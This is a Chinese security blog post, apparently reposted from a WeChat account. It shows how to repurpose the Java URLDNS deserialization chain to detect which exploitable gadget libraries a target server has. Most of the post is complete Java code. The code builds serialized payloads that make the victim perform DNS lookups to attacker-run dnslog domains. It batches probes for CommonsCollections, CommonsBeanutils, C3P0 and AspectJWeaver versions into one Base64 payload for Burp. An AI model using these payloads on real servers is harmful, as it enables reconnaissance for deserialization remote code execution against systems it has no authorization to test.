在刚学java反序列化时,URLDNS以易懂,泛用,无依赖成为我们学习的第一个链,常用这个链来确认这个位置是否真的可以反序列化。当时我的文章在看到hashMap.put(url, “111”);时吐槽过——这个111当然无所谓。然而真正的高手就能把没用的东西用起来。当111为一个class时会怎么样?
上次推荐了博客之一https://gv7.me/,它的作者这次就推出了一个很有用的tips,老洞新用。
https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA
结论很简单,当这个111为一个服务器已有的类时,比如java.net.URL,就会发起dnslog请求,当这个111为一个服务器不存在的类时,比如java.net.QQQ,就不会发起dnslog请求,测试代码如下。
package test;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Urldns {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://2.1a458f6a.dns.1433.eu.org");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 1);
hashMap.put(url, org.apache.commons.beanutils.BeanComparator.class);
f.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos.writeObject(hashMap);
//ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
//ois.readObject();
}
}
当然,我们无法直接写一个不存在的类,原文为了解决serialVersionUID冲突,写了个makeClass()进行动态生成同名类,恰好也为我们解决了这个问题(依赖javassist-3.21.0-GA.jar)。
package test;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import javassist.ClassPool;
import javassist.CtClass;
public class Urldns {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://333.f9575af1.dns.1433.eu.org");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 1);
//hashMap.put(url, org.apache.commons.beanutils.BeanComparator.class);
hashMap.put(url, makeClass("org.apache.commons.beanutils.BeanComparator"));
f.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos.writeObject(hashMap);
//ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
//ois.readObject();
}
public static Class makeClass(String clazzName) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass(clazzName);
Class clazz = ctClass.toClass();
ctClass.defrost();
return clazz;
}
}
这样就不需要依赖commons-beanutils也能生成探测的payload,非常方便。
不过注意,动态生成的类也可以被反序列化,因此直接将org.apache.commons.beanutils.BeanComparator改成一个不存在的类还是能够在原环境反序列化成功,因此生成1.ser和反序列化1.ser要分开来做,最好准备两个环境。
这样我们已经具备了用URLDNS链来探测单个类的手段,可以批量生成payload让burp去跑,能否在一次反序列化的过程中探测多个类呢?
文章中提到了发现LinkedList第一个元素反序列化失败并不会导致反序列化流程停止
因此我们可以写大量hashmap,然后放进list生成一个1.ser。
根据原文中的class checklist对几个常用反序列化链稍作分析。
CommonsCollections1/3/5/6/7,需要<=3.2.1版本,常用版本3.1和3.2.2,3.2.1和3.2.2类是一样的,无法通过dnslog精确探测小版本。因此只探测3.1和3.2.x的不同。
CommonsCollections2/4,需要4.0版本,常用版本4.0和4.1,可以通过探测类名完全区分。
CommonsBeanutils,虽然无视版本,但1.7/1.8和1.9有serialVersionUID的不同,可以通过探测类名完全区分。
C3P0,和CommonsBeanutils一样有serialVersionUID的区别,可以通过探测类名完全区分。
AspectJWeaver,无需区分版本,仅探测类名即可。
package main;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
import java.util.LinkedList;
import java.util.List;
import javassist.ClassPool;
import javassist.CtClass;
public class test {
public static void main(String[] args) throws Exception {
String dnslog = "b180e033.dns.1433.eu.org";
List<Object> list = new LinkedList<Object>();
//CommonsCollections1/3/5/6/7链,需要<=3.2.1版本,无法通过类判断这个小版本
HashMap cc31 = getURLDNSgadget("http://cc31."+dnslog, "org.apache.commons.collections.functors.ChainedTransformer");
HashMap cc32x = getURLDNSgadget("http://cc32x."+dnslog, "org.apache.commons.collections.buffer.BoundedBuffer");
list.add(cc31);
list.add(cc32x);
//CommonsCollections2/4链,需要4-4.0版本
HashMap cc4x = getURLDNSgadget("http://cc4x."+dnslog, "org.apache.commons.collections4.functors.ChainedTransformer");
HashMap cc41 = getURLDNSgadget("http://cc41."+dnslog, "org.apache.commons.collections4.FluentIterable");
list.add(cc4x);
list.add(cc41);
//CommonsBeanutils2链,serialVersionUID不同,1.7x-1.8x为-3490850999041592962,1.9x为-2044202215314119608
HashMap cb18x = getURLDNSgadget("http://cb18x."+dnslog, "org.apache.commons.beanutils.BeanComparator");
HashMap cb19x = getURLDNSgadget("http://cb19x."+dnslog, "org.apache.commons.beanutils.BeanIntrospectionData");
list.add(cb18x);
list.add(cb19x);
//c3p0,serialVersionUID不同,0.9.2pre2-0.9.5pre8为7387108436934414104,0.9.5pre9-0.9.5.5为7387108436934414104
HashMap c3p092x = getURLDNSgadget("http://c3p092x."+dnslog, "com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
HashMap c3p095x = getURLDNSgadget("http://c3p095x."+dnslog, "com.mchange.v2.c3p0.test.AlwaysFailDataSource");
list.add(c3p092x);
list.add(c3p095x);
//AspectJWeaver,需要cc31
HashMap ajw = getURLDNSgadget("http://ajw."+dnslog, "org.aspectj.weaver.tools.cache.SimpleCache");
list.add(ajw);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(out);
os.writeObject(list);
System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos.writeObject(list);
//ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
//ois.readObject();
}
public static HashMap getURLDNSgadget(String urls, String clazzName) throws Exception{
HashMap hashMap = new HashMap();
URL url = new URL(urls);
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0);
hashMap.put(url, makeClass(clazzName));
f.set(url, -1);
return hashMap;
}
public static Class makeClass(String clazzName) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass(clazzName);
Class clazz = ctClass.toClass();
ctClass.defrost();
return clazz;
}
}
在一个测试环境反序列化效果如下。
其他常用链,比如FileUpload1,Jdk7u21,JRE8u20,以及对于Becl,JNDI限制的这些探测,就涉及JDK版本的探测了,需要找出JDK各个大小版本类的变化,比较繁琐。
原文始发于微信公众号(珂技知识分享):老链新用,利用URLDNS链探测gadget